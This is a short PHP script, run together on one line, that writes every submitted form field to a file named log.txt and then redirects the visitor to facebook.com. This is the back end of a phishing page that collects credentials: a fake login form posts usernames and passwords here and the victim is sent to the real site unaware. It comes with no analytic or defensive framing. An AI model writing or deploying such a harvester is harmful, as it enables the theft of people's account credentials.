// Set the location to redirect the pageheader ('Location: http://www.facebook.com');// Open the text file in writing mode$file = fopen("log.txt", "a");foreach($_POST as $variable => $value) {fwrite($file, $variable);fwrite($file, "=");fwrite($file, $value);fwrite($file, "\r\n");}fwrite($file, "\r\n");fclose($file);exit;